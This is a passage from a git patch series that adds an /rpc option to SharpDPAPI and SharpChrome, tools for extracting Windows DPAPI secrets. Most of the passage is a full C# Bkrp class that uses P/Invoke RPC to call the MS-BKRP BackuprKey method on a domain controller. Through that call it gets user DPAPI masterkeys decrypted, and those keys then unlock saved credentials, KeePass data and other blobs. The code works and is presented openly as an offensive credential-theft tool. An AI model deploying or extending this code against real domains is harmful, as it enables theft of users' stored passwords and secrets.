+ public UInt32 dwFlagsExt; + public Guid ConfigObjGUID; + public UInt32 dwExtCaps; + } + + [StructLayout(LayoutKind.Sequential)] + private struct USN_VECTOR + { + public long usnHighObjUpdate; + public long usnReserved; + public long usnHighPropUpdate; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SCHEMA_PREFIX_TABLE + { + public UInt32 PrefixCount; + public IntPtr pPrefixEntry; + } + + [StructLayout(LayoutKind.Sequential)] + private struct ATTRVALBLOCK + { + public UInt32 valCount; + public IntPtr pAVal; + } + + [StructLayout(LayoutKind.Sequential)] + private struct ATTRBLOCK + { + public UInt32 attrCount; + public IntPtr pAttr; + } + [StructLayout(LayoutKind.Sequential)] + private struct ENTINF + { + public IntPtr pName; + public UInt32 ulFlags; + public ATTRBLOCK AttrBlock; + }; + #endregion + + #region Bkrp class and public interfaces + private IntPtr hBind; + private Guid BACKUPKEY_RESTORE_GUID = new Guid("47270C64-2FC7-499B-AC5B-0E37CDCE899A"); + private Guid MS_BKRP_INTERFACE_ID = new Guid("3DDE7C30-165D-11D1-AB8F-00805F14DB40"); + + public Bkrp() + { + if (IntPtr.Size == 8) + { + InitializeStub(this.MS_BKRP_INTERFACE_ID, MIDL_ProcFormatStringBackuprKeyx64, MIDL_TypeFormatStringBackuprKeyx64, 1, 0); + } + else + { + InitializeStub(this.MS_BKRP_INTERFACE_ID, MIDL_ProcFormatStringBackuprKeyx86, MIDL_TypeFormatStringBackuprKeyx86, 4, 0); + } + } + + ~Bkrp() + { + freeStub(); + Uninitialize(); + } + + public void Initialize(string server, string domain) + { + try + { + this.hBind = Bind(server); + if (this.hBind == IntPtr.Zero) + throw new Exception("Unable to connect to the server " + server); + } + catch (Exception e) + { + if (this.hBind != IntPtr.Zero) + Unbind(this.hBind); + this.hBind = IntPtr.Zero; + } + } + + private void Uninitialize() + { + if (hBind != IntPtr.Zero) + Unbind(hBind); + } + #endregion + + #region drsr rpc functions and decoding functions + public byte[] BackuprKey(byte[] domainKeyBytes) + { + EnableMemoryTracking(); + + IntPtr result = IntPtr.Zero; + var stub = GetStubHandle(); + var handle = GetProcStringHandle(0); + + GCHandle guidHandle = GCHandle.Alloc(this.BACKUPKEY_RESTORE_GUID, GCHandleType.Pinned); + IntPtr guidPtr = guidHandle.AddrOfPinnedObject(); + + GCHandle domainKeyHandle = GCHandle.Alloc(domainKeyBytes, GCHandleType.Pinned); + IntPtr domainKeyPtr = domainKeyHandle.AddrOfPinnedObject(); + + IntPtr ppDataOut = IntPtr.Zero; + IntPtr pcbDataOut = IntPtr.Zero; + + uint domainKeyLength = Convert.ToUInt32(domainKeyBytes.Length); + uint dwParams = Convert.ToUInt32(0); + + try + { + result = NdrClientCall2(stub, handle, this.hBind, guidPtr, domainKeyPtr, domainKeyLength, out ppDataOut, out pcbDataOut, dwParams); + byte[] managedArray = new byte[64]; + IntPtr ptr = new IntPtr(ppDataOut.ToInt64() + 4); + Marshal.Copy(ptr, managedArray, 0, 64); + return managedArray; + } + catch (Exception e) + { + throw new Exception("Error decrypting masterkey via RPC"); + } + finally + { + guidHandle.Free(); + domainKeyHandle.Free(); + this.freeStub(); + FreeTrackedMemoryAndRemoveTracking(); + } + return null; + } + #endregion + } +} \ No newline at end of file diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index 56f9511..887e2da 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -1,7 +1,10 @@ using System; using System.Collections.Generic; +using System.DirectoryServices.ActiveDirectory; using System.IO; +using System.Net; using System.Security.AccessControl; +using System.Security.Cryptography; using System.Text; using System.Text.RegularExpressions; using System.Xml; @@ -11,7 +14,7 @@ namespace SharpDPAPI public class Triage { public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "", - string password = "", string target = "", string userSID = "", bool dumpHash = false) + string password = "", string target = "", string userSID = "", bool dumpHash = false, bool rpc = false) { // triage all *user* masterkeys we can find, decrypting if the backupkey is supplied @@ -198,6 +201,21 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy userSID = !String.IsNullOrEmpty(userSID) ? userSID : Dpapi.ExtractSidFromPath(file); plaintextMasterKey = Dpapi.FormatHash(masterKeyBytes, userSID, isDomain ? 3 : 1); } + else if(rpc && isDomain) + { + DirectoryContext mycontext = new DirectoryContext(DirectoryContextType.Domain, System.Environment.UserDomainName); + DomainController dc = DomainController.FindOne(mycontext); + IPAddress DCIPAdress = IPAddress.Parse(dc.IPAddress); + + var d = new Bkrp(); + d.Initialize(DCIPAdress.ToString(), System.Environment.UserDomainName); + var keyBytes = d.BackuprKey(SharpDPAPI.Dpapi.GetDomainKey(masterKeyBytes)); + var guid = $"{{{Encoding.Unicode.GetString(masterKeyBytes, 12, 72)}}}"; + var sha1 = new SHA1Managed(); + var masterKeySha1 = sha1.ComputeHash(keyBytes); + var masterKeySha1Hex = BitConverter.ToString(masterKeySha1).Replace("-", ""); + mappings.Add(guid, masterKeySha1Hex); + } if (!plaintextMasterKey.Equals(default(KeyValuePair))) mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); From dffd58325a8d2b4e1093eac36ab7cdecb1e27095 Mon Sep 17 00:00:00 2001 From: Kiblyn11 Date: Fri, 24 Mar 2023 18:37:32 +0100 Subject: [PATCH 05/28] Cleanup --- SharpChrome/SharpChrome.csproj | 4 +- SharpChrome/lib/Bkrp.cs | 542 --------------------------------- SharpDPAPI/SharpDPAPI.csproj | 1 - SharpDPAPI/lib/Triage.cs | 6 +- 4 files changed, 6 insertions(+), 547 deletions(-) delete mode 100644 SharpChrome/lib/Bkrp.cs diff --git a/SharpChrome/SharpChrome.csproj b/SharpChrome/SharpChrome.csproj index cffd0ec..f0b4201 100755 --- a/SharpChrome/SharpChrome.csproj +++ b/SharpChrome/SharpChrome.csproj @@ -83,6 +83,9 @@ lib\Tuple.cs + + lib\Bkrp.cs + @@ -93,7 +96,6 @@ - diff --git a/SharpChrome/lib/Bkrp.cs b/SharpChrome/lib/Bkrp.cs deleted file mode 100644 index 377b6ac..0000000 --- a/SharpChrome/lib/Bkrp.cs +++ /dev/null @@ -1,542 +0,0 @@ -using Microsoft.Win32.SafeHandles; -using System; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.IO; -using System.Net; -using System.Net.Sockets; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Cryptography; -using System.Security.Permissions; -using System.Security.Principal; -using System.Text; - -namespace SharpDPAPI -{ - /// - /// Inspired by vletoux and gentilkiwi - /// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1 - /// Mimikatz: kull_m_rpc_ms-bkrp_c.c - /// - public class Bkrp - { - #region pinvoke - [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFromStringBindingW", - CallingConvention = CallingConvention.StdCall, - CharSet = CharSet.Unicode, SetLastError = false)] - private static extern Int32 RpcBindingFromStringBinding(String bindingString, out IntPtr lpBinding); - - [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, - CharSet = CharSet.Unicode, SetLastError = false)] - private static extern IntPtr NdrClientCall2(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr h, IntPtr pguidActionAgent, IntPtr pDataIn, UInt32 cbDataIn, out IntPtr ppDataOut, out IntPtr pcbDataOut, UInt32 dwParam); - - [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFree", CallingConvention = CallingConvention.StdCall, - CharSet = CharSet.Unicode, SetLastError = false)] - private static extern Int32 RpcBindingFree(ref IntPtr lpString); - - //#region RpcStringBindingCompose - - [DllImport("Rpcrt4.dll", EntryPoint = "RpcStringBindingComposeW", CallingConvention = CallingConvention.StdCall, - CharSet = CharSet.Unicode, SetLastError = false)] - private static extern Int32 RpcStringBindingCompose( - String ObjUuid, String ProtSeq, String NetworkAddr, String Endpoint, String Options, - out IntPtr lpBindingString - ); - - [StructLayout(LayoutKind.Sequential)] - private struct RPC_SECURITY_QOS - { - public Int32 Version; - public Int32 Capabilities; - public Int32 IdentityTracking; - public Int32 ImpersonationType; - }; - - [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoExW", CallingConvention = CallingConvention.StdCall, - CharSet = CharSet.Unicode, SetLastError = false)] - private static extern Int32 RpcBindingSetAuthInfoEx(IntPtr lpBinding, string ServerPrincName, - UInt32 AuthnLevel, UInt32 AuthnSvc, IntPtr identity, UInt32 AuthzSvc, ref RPC_SECURITY_QOS SecurityQOS); - - [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetOption", CallingConvention = CallingConvention.StdCall, SetLastError = false)] - private static extern Int32 RpcBindingSetOption(IntPtr Binding, UInt32 Option, IntPtr OptionValue); - - [DllImport("Rpcrt4.dll", EntryPoint = "I_RpcBindingInqSecurityContext", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)] - private static extern Int32 I_RpcBindingInqSecurityContext(IntPtr Binding, out IntPtr SecurityContextHandle); - - - [StructLayout(LayoutKind.Sequential)] - private struct SecPkgContext_SessionKey - { - public UInt32 SessionKeyLength; - public IntPtr SessionKey; - } - - [DllImport("secur32.Dll", CharSet = CharSet.Auto, SetLastError = false)] - private static extern int QueryContextAttributes(IntPtr hContext, - uint ulAttribute, - ref SecPkgContext_SessionKey pContextAttributes); - - [StructLayout(LayoutKind.Sequential)] - private struct CRYPTO_BUFFER - { - public UInt32 Length; - public UInt32 MaximumLength; - public IntPtr Buffer; - } - - [DllImport("advapi32.Dll", CharSet = CharSet.Auto, SetLastError = false, EntryPoint = "SystemFunction032")] - private static extern int SystemFunction032(ref CRYPTO_BUFFER data, ref CRYPTO_BUFFER key); - - [DllImport("advapi32.dll", SetLastError = true, EntryPoint = "SystemFunction027")] - private static extern int RtlDecryptDES2blocks1DWORD(byte[] data, ref UInt32 key, IntPtr output); - - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern IntPtr GetSidSubAuthority(IntPtr sid, UInt32 subAuthorityIndex); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern IntPtr GetSidSubAuthorityCount(IntPtr psid); - #endregion - - #region rpc initialization - private byte[] MIDL_ProcFormatString; - private byte[] MIDL_TypeFormatString; - private GCHandle procString; - private GCHandle formatString; - private GCHandle stub; - private GCHandle faultoffsets; - private GCHandle clientinterface; - - public UInt32 RPCTimeOut = 1000; - - [StructLayout(LayoutKind.Sequential)] - private struct COMM_FAULT_OFFSETS - { - public short CommOffset; - public short FaultOffset; - } - - [StructLayout(LayoutKind.Sequential)] - private struct GENERIC_BINDING_ROUTINE_PAIR - { - public IntPtr Bind; - public IntPtr Unbind; - } - - - [StructLayout(LayoutKind.Sequential)] - private struct RPC_VERSION - { - public ushort MajorVersion; - public ushort MinorVersion; - - public RPC_VERSION(ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) - { - MajorVersion = InterfaceVersionMajor; - MinorVersion = InterfaceVersionMinor; - } - } - - [StructLayout(LayoutKind.Sequential)] - private struct RPC_SYNTAX_IDENTIFIER - { - public Guid SyntaxGUID; - public RPC_VERSION SyntaxVersion; - } - - [StructLayout(LayoutKind.Sequential)] - private struct RPC_CLIENT_INTERFACE - { - public uint Length; - public RPC_SYNTAX_IDENTIFIER InterfaceId; - public RPC_SYNTAX_IDENTIFIER TransferSyntax; - public IntPtr /*PRPC_DISPATCH_TABLE*/ DispatchTable; - public uint RpcProtseqEndpointCount; - public IntPtr /*PRPC_PROTSEQ_ENDPOINT*/ RpcProtseqEndpoint; - public IntPtr Reserved; - public IntPtr InterpreterInfo; - public uint Flags; - - public static readonly Guid IID_SYNTAX = new Guid(0x8A885D04u, 0x1CEB, 0x11C9, 0x9F, 0xE8, 0x08, 0x00, 0x2B, - 0x10, - 0x48, 0x60); - - public RPC_CLIENT_INTERFACE(Guid iid, ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) - { - Length = (uint)Marshal.SizeOf(typeof(RPC_CLIENT_INTERFACE)); - RPC_VERSION rpcVersion = new RPC_VERSION(InterfaceVersionMajor, InterfaceVersionMinor); - InterfaceId = new RPC_SYNTAX_IDENTIFIER(); - InterfaceId.SyntaxGUID = iid; - InterfaceId.SyntaxVersion = rpcVersion; - rpcVersion = new RPC_VERSION(2, 0); - TransferSyntax = new RPC_SYNTAX_IDENTIFIER(); - TransferSyntax.SyntaxGUID = IID_SYNTAX; - TransferSyntax.SyntaxVersion = rpcVersion; - DispatchTable = IntPtr.Zero; - RpcProtseqEndpointCount = 0u; - RpcProtseqEndpoint = IntPtr.Zero; - Reserved = IntPtr.Zero; - InterpreterInfo = IntPtr.Zero; - Flags = 0u; - } - } - - [StructLayout(LayoutKind.Sequential)] - private struct MIDL_STUB_DESC - { - public IntPtr /*RPC_CLIENT_INTERFACE*/ RpcInterfaceInformation; - public IntPtr pfnAllocate; - public IntPtr pfnFree; - public IntPtr pAutoBindHandle; - public IntPtr /*NDR_RUNDOWN*/ apfnNdrRundownRoutines; - public IntPtr /*GENERIC_BINDING_ROUTINE_PAIR*/ aGenericBindingRoutinePairs; - public IntPtr /*EXPR_EVAL*/ apfnExprEval; - public IntPtr /*XMIT_ROUTINE_QUINTUPLE*/ aXmitQuintuple; - public IntPtr pFormatTypes; - public int fCheckBounds; - /* Ndr library version. */ - public uint Version; - public IntPtr /*MALLOC_FREE_STRUCT*/ pMallocFreeStruct; - public int MIDLVersion; - public IntPtr CommFaultOffsets; - // New fields for version 3.0+ - public IntPtr /*USER_MARSHAL_ROUTINE_QUADRUPLE*/ aUserMarshalQuadruple; - // Notify routines - added for NT5, MIDL 5.0 - public IntPtr /*NDR_NOTIFY_ROUTINE*/ NotifyRoutineTable; - public IntPtr mFlags; - // International support routines - added for 64bit post NT5 - public IntPtr /*NDR_CS_ROUTINES*/ CsRoutineTables; - public IntPtr ProxyServerInfo; - public IntPtr /*NDR_EXPR_DESC*/ pExprInfo; - // Fields up to now present in win2000 release. - - public MIDL_STUB_DESC(IntPtr pFormatTypesPtr, IntPtr RpcInterfaceInformationPtr, - IntPtr pfnAllocatePtr, IntPtr pfnFreePtr, IntPtr aGenericBindingRoutinePairsPtr) - { - pFormatTypes = pFormatTypesPtr; - RpcInterfaceInformation = RpcInterfaceInformationPtr; - CommFaultOffsets = IntPtr.Zero; - pfnAllocate = pfnAllocatePtr; - pfnFree = pfnFreePtr; - pAutoBindHandle = IntPtr.Zero; - apfnNdrRundownRoutines = IntPtr.Zero; - aGenericBindingRoutinePairs = aGenericBindingRoutinePairsPtr; - apfnExprEval = IntPtr.Zero; - aXmitQuintuple = IntPtr.Zero; - fCheckBounds = 1; - Version = 0x60000; - pMallocFreeStruct = IntPtr.Zero; - MIDLVersion = 0x8000253; - aUserMarshalQuadruple = IntPtr.Zero; - NotifyRoutineTable = IntPtr.Zero; - mFlags = new IntPtr(0x00000001); - CsRoutineTables = IntPtr.Zero; - ProxyServerInfo = IntPtr.Zero; - pExprInfo = IntPtr.Zero; - } - } - - private void InitializeStub(Guid interfaceID, byte[] MIDL_ProcFormatString, byte[] MIDL_TypeFormatString, ushort MajorVerson, ushort MinorVersion) - { - this.MIDL_ProcFormatString = MIDL_ProcFormatString; - this.MIDL_TypeFormatString = MIDL_TypeFormatString; - procString = GCHandle.Alloc(this.MIDL_ProcFormatString, GCHandleType.Pinned); - - RPC_CLIENT_INTERFACE clientinterfaceObject = new RPC_CLIENT_INTERFACE(interfaceID, MajorVerson, MinorVersion); - - COMM_FAULT_OFFSETS commFaultOffset = new COMM_FAULT_OFFSETS(); - commFaultOffset.CommOffset = -1; - commFaultOffset.FaultOffset = -1; - faultoffsets = GCHandle.Alloc(commFaultOffset, GCHandleType.Pinned); - clientinterface = GCHandle.Alloc(clientinterfaceObject, GCHandleType.Pinned); - formatString = GCHandle.Alloc(MIDL_TypeFormatString, GCHandleType.Pinned); - - MIDL_STUB_DESC stubObject = new MIDL_STUB_DESC(formatString.AddrOfPinnedObject(), - clientinterface.AddrOfPinnedObject(), - Marshal.GetFunctionPointerForDelegate((allocmemory)AllocateMemory), - Marshal.GetFunctionPointerForDelegate((freememory)FreeMemory), - IntPtr.Zero); - - stub = GCHandle.Alloc(stubObject, GCHandleType.Pinned); - } - - private void freeStub() - { - procString.Free(); - faultoffsets.Free(); - clientinterface.Free(); - formatString.Free(); - stub.Free(); - } - - private static List TrackedMemoryAllocations; - - delegate IntPtr allocmemory(int size); - private static IntPtr AllocateMemory(int size) - { - IntPtr memory = Marshal.AllocHGlobal(size); - if (TrackedMemoryAllocations != null) - { - TrackedMemoryAllocations.Add(memory); - } - return memory; - } - - delegate void freememory(IntPtr memory); - private static void FreeMemory(IntPtr memory) - { - Marshal.FreeHGlobal(memory); - if (TrackedMemoryAllocations != null && TrackedMemoryAllocations.Contains(memory)) - { - TrackedMemoryAllocations.Remove(memory); - } - } - - private static void EnableMemoryTracking() - { - TrackedMemoryAllocations = new List(); - } - - private static void FreeTrackedMemoryAndRemoveTracking() - { - List list = TrackedMemoryAllocations; - TrackedMemoryAllocations = null; - foreach (IntPtr memory in list) - { - Marshal.FreeHGlobal(memory); - } - } - - private IntPtr Bind(string server) - { - IntPtr bindingstring = IntPtr.Zero; - IntPtr binding = IntPtr.Zero; - Int32 status; - - status = RpcStringBindingCompose(null, "ncacn_np", server, @"\pipe\protected_storage", null, out bindingstring); - if (status != 0) - return IntPtr.Zero; - status = RpcBindingFromStringBinding(Marshal.PtrToStringUni(bindingstring), out binding); - RpcBindingFree(ref bindingstring); - if (status != 0) - return IntPtr.Zero; - - RPC_SECURITY_QOS qos = new RPC_SECURITY_QOS(); - qos.Version = 1; - qos.Capabilities = 8; - qos.ImpersonationType = 3; - GCHandle qoshandle = GCHandle.Alloc(qos, GCHandleType.Pinned); - - status = RpcBindingSetAuthInfoEx(binding, "ProtectedStorage/" + server, 6, 9, IntPtr.Zero, 0, ref qos); - qoshandle.Free(); - if (status != 0) - { - Unbind(binding); - return IntPtr.Zero; - } - return binding; - } - - private static void Unbind(IntPtr hBinding) - { - RpcBindingFree(ref hBinding); - } - - private byte[] SessionKey; - - SecurityCallbackDelegate securityCallbackDelegate; - private delegate void SecurityCallbackDelegate(IntPtr context); - private void SecurityCallback(IntPtr context) - { - IntPtr SecurityContextHandle; - SecPkgContext_SessionKey sessionKey = new SecPkgContext_SessionKey(); - - int res = I_RpcBindingInqSecurityContext(context, out SecurityContextHandle); - if (res == 0) - { - res = QueryContextAttributes(SecurityContextHandle, 9, ref sessionKey); - if (res == 0) - { - SessionKey = new byte[sessionKey.SessionKeyLength]; - Marshal.Copy(sessionKey.SessionKey, SessionKey, 0, (int)sessionKey.SessionKeyLength); - } - } - } - - private IntPtr GetProcStringHandle(int offset) - { - return Marshal.UnsafeAddrOfPinnedArrayElement(MIDL_ProcFormatStringBackuprKeyx64, offset); - } - - private IntPtr GetStubHandle() - { - return stub.AddrOfPinnedObject(); - } - #endregion - - #region MIDL strings - private static byte[] MIDL_ProcFormatStringBackuprKeyx64 = new byte[] { - 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x32, 0x00, 0x00, 0x00, 0x54, 0x00, 0x24, 0x00, 0x47, 0x07, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x01, - 0x08, 0x00, 0x0c, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x1c, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x13, 0x20, 0x20, 0x00, 0x28, 0x00, 0x50, 0x21, 0x28, 0x00, 0x08, 0x00, 0x48, 0x00, 0x30, 0x00, - 0x08, 0x00, 0x70, 0x00, 0x38, 0x00, 0x08, 0x00, 0x00 }; - private static byte[] MIDL_TypeFormatStringBackuprKeyx64 = new byte[] { - 0x00, 0x00, 0x11, 0x00, 0x08, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x11, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, - 0x29, 0x00, 0x18, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x14, 0x02, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x29, 0x54, 0x28, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x0c, 0x08, 0x5c, - 0x00 }; - private static byte[] MIDL_ProcFormatStringBackuprKeyx86 = new byte[] { - 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x54, 0x00, 0x24, 0x00, 0x47, 0x07, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x01, 0x04, 0x00, - 0x0c, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x1c, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x13, 0x20, 0x10, 0x00, 0x28, 0x00, 0x50, 0x21, 0x14, 0x00, 0x08, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, - 0x70, 0x00, 0x1c, 0x00, 0x08, 0x00, 0x00 }; - private static byte[] MIDL_TypeFormatStringBackuprKeyx86 = new byte[] { - 0x00, 0x00, 0x11, 0x00, 0x08, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x11, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, - 0x29, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x14, 0x02, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x29, 0x54, 0x14, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x0c, 0x08, 0x5c, - 0x00 }; - #endregion - - #region RPC structures - [StructLayout(LayoutKind.Sequential)] - private struct DRS_EXTENSIONS_INT - { - public UInt32 cb; - public UInt32 dwFlags; - public Guid SiteObjGuid; - public UInt32 Pid; - public UInt32 dwReplEpoch; - public UInt32 dwFlagsExt; - public Guid ConfigObjGUID; - public UInt32 dwExtCaps; - } - - [StructLayout(LayoutKind.Sequential)] - private struct USN_VECTOR - { - public long usnHighObjUpdate; - public long usnReserved; - public long usnHighPropUpdate; - } - - [StructLayout(LayoutKind.Sequential)] - private struct SCHEMA_PREFIX_TABLE - { - public UInt32 PrefixCount; - public IntPtr pPrefixEntry; - } - - [StructLayout(LayoutKind.Sequential)] - private struct ATTRVALBLOCK - { - public UInt32 valCount; - public IntPtr pAVal; - } - - [StructLayout(LayoutKind.Sequential)] - private struct ATTRBLOCK - { - public UInt32 attrCount; - public IntPtr pAttr; - } - [StructLayout(LayoutKind.Sequential)] - private struct ENTINF - { - public IntPtr pName; - public UInt32 ulFlags; - public ATTRBLOCK AttrBlock; - }; - #endregion - - #region Bkrp class and public interfaces - private IntPtr hBind; - private Guid BACKUPKEY_RESTORE_GUID = new Guid("47270C64-2FC7-499B-AC5B-0E37CDCE899A"); - private Guid MS_BKRP_INTERFACE_ID = new Guid("3DDE7C30-165D-11D1-AB8F-00805F14DB40"); - - public Bkrp() - { - if (IntPtr.Size == 8) - { - InitializeStub(this.MS_BKRP_INTERFACE_ID, MIDL_ProcFormatStringBackuprKeyx64, MIDL_TypeFormatStringBackuprKeyx64, 1, 0); - } - else - { - InitializeStub(this.MS_BKRP_INTERFACE_ID, MIDL_ProcFormatStringBackuprKeyx86, MIDL_TypeFormatStringBackuprKeyx86, 4, 0); - } - } - - ~Bkrp() - { - freeStub(); - Uninitialize(); - } - - public void Initialize(string server, string domain) - { - try - { - this.hBind = Bind(server); - if (this.hBind == IntPtr.Zero) - throw new Exception("Unable to connect to the server " + server); - } - catch (Exception e) - { - if (this.hBind != IntPtr.Zero) - Unbind(this.hBind); - this.hBind = IntPtr.Zero; - } - } - - private void Uninitialize() - { - if (hBind != IntPtr.Zero) - Unbind(hBind); - } - #endregion - - #region drsr rpc functions and decoding functions - public byte[] BackuprKey(byte[] domainKeyBytes) - { - EnableMemoryTracking(); - - IntPtr result = IntPtr.Zero; - var stub = GetStubHandle(); - var handle = GetProcStringHandle(0); - - GCHandle guidHandle = GCHandle.Alloc(this.BACKUPKEY_RESTORE_GUID, GCHandleType.Pinned); - IntPtr guidPtr = guidHandle.AddrOfPinnedObject(); - - GCHandle domainKeyHandle = GCHandle.Alloc(domainKeyBytes, GCHandleType.Pinned); - IntPtr domainKeyPtr = domainKeyHandle.AddrOfPinnedObject(); - - IntPtr ppDataOut = IntPtr.Zero; - IntPtr pcbDataOut = IntPtr.Zero; - - uint domainKeyLength = Convert.ToUInt32(domainKeyBytes.Length); - uint dwParams = Convert.ToUInt32(0); - - try - { - result = NdrClientCall2(stub, handle, this.hBind, guidPtr, domainKeyPtr, domainKeyLength, out ppDataOut, out pcbDataOut, dwParams); - byte[] managedArray = new byte[64]; - IntPtr ptr = new IntPtr(ppDataOut.ToInt64() + 4); - Marshal.Copy(ptr, managedArray, 0, 64); - return managedArray; - } - catch (Exception e) - { - throw new Exception("Error decrypting masterkey via RPC"); - } - finally - { - guidHandle.Free(); - domainKeyHandle.Free(); - this.freeStub(); - FreeTrackedMemoryAndRemoveTracking(); - } - return null; - } - #endregion - } -} \ No newline at end of file diff --git a/SharpDPAPI/SharpDPAPI.csproj b/SharpDPAPI/SharpDPAPI.csproj index da9ed40..4f07a3b 100755 --- a/SharpDPAPI/SharpDPAPI.csproj +++ b/SharpDPAPI/SharpDPAPI.csproj @@ -37,7 +37,6 @@ prompt 4 false - false AnyCPU diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index 887e2da..1d1ca60 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -207,9 +207,9 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy DomainController dc = DomainController.FindOne(mycontext); IPAddress DCIPAdress = IPAddress.Parse(dc.IPAddress); - var d = new Bkrp(); - d.Initialize(DCIPAdress.ToString(), System.Environment.UserDomainName); - var keyBytes = d.BackuprKey(SharpDPAPI.Dpapi.GetDomainKey(masterKeyBytes)); + var bkrp = new Bkrp(); + bkrp.Initialize(DCIPAdress.ToString(), System.Environment.UserDomainName); + var keyBytes = bkrp.BackuprKey(SharpDPAPI.Dpapi.GetDomainKey(masterKeyBytes)); var guid = $"{{{Encoding.Unicode.GetString(masterKeyBytes, 12, 72)}}}"; var sha1 = new SHA1Managed(); var masterKeySha1 = sha1.ComputeHash(keyBytes); From df4f8836d59da73ac864185bdb5cf48ad825203f Mon Sep 17 00:00:00 2001 From: Kiblyn11 Date: Tue, 28 Mar 2023 23:55:36 +0200 Subject: [PATCH 06/28] doc and cleanup --- SharpDPAPI/Commands/Blob.cs | 5 ++++ SharpDPAPI/Commands/Credentials.cs | 1 + SharpDPAPI/Commands/Keepass.cs | 1 + SharpDPAPI/Commands/Masterkeys.cs | 1 + SharpDPAPI/Commands/PS.cs | 1 + SharpDPAPI/Commands/RDG.cs | 1 + SharpDPAPI/Commands/Triage.cs | 2 +- SharpDPAPI/Commands/Vaults.cs | 1 + SharpDPAPI/Domain/Info.cs | 2 ++ SharpDPAPI/lib/Bkrp.cs | 45 +++--------------------------- 10 files changed, 18 insertions(+), 42 deletions(-) diff --git a/SharpDPAPI/Commands/Blob.cs b/SharpDPAPI/Commands/Blob.cs index a1ccdac..7890d11 100755 --- a/SharpDPAPI/Commands/Blob.cs +++ b/SharpDPAPI/Commands/Blob.cs @@ -73,6 +73,11 @@ public void Execute(Dictionary arguments) masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); } } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + } if (arguments.ContainsKey("/entropy")) { diff --git a/SharpDPAPI/Commands/Credentials.cs b/SharpDPAPI/Commands/Credentials.cs index 9af1b8c..3d4b8ae 100755 --- a/SharpDPAPI/Commands/Credentials.cs +++ b/SharpDPAPI/Commands/Credentials.cs @@ -56,6 +56,7 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/rpc")) { + Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); } diff --git a/SharpDPAPI/Commands/Keepass.cs b/SharpDPAPI/Commands/Keepass.cs index 01bdd1a..f13dd90 100644 --- a/SharpDPAPI/Commands/Keepass.cs +++ b/SharpDPAPI/Commands/Keepass.cs @@ -62,6 +62,7 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/rpc")) { + Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); } diff --git a/SharpDPAPI/Commands/Masterkeys.cs b/SharpDPAPI/Commands/Masterkeys.cs index 61f0280..113fceb 100755 --- a/SharpDPAPI/Commands/Masterkeys.cs +++ b/SharpDPAPI/Commands/Masterkeys.cs @@ -101,6 +101,7 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/rpc")) { + Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); mappings = Triage.TriageUserMasterKeys(null, rpc: true); } else diff 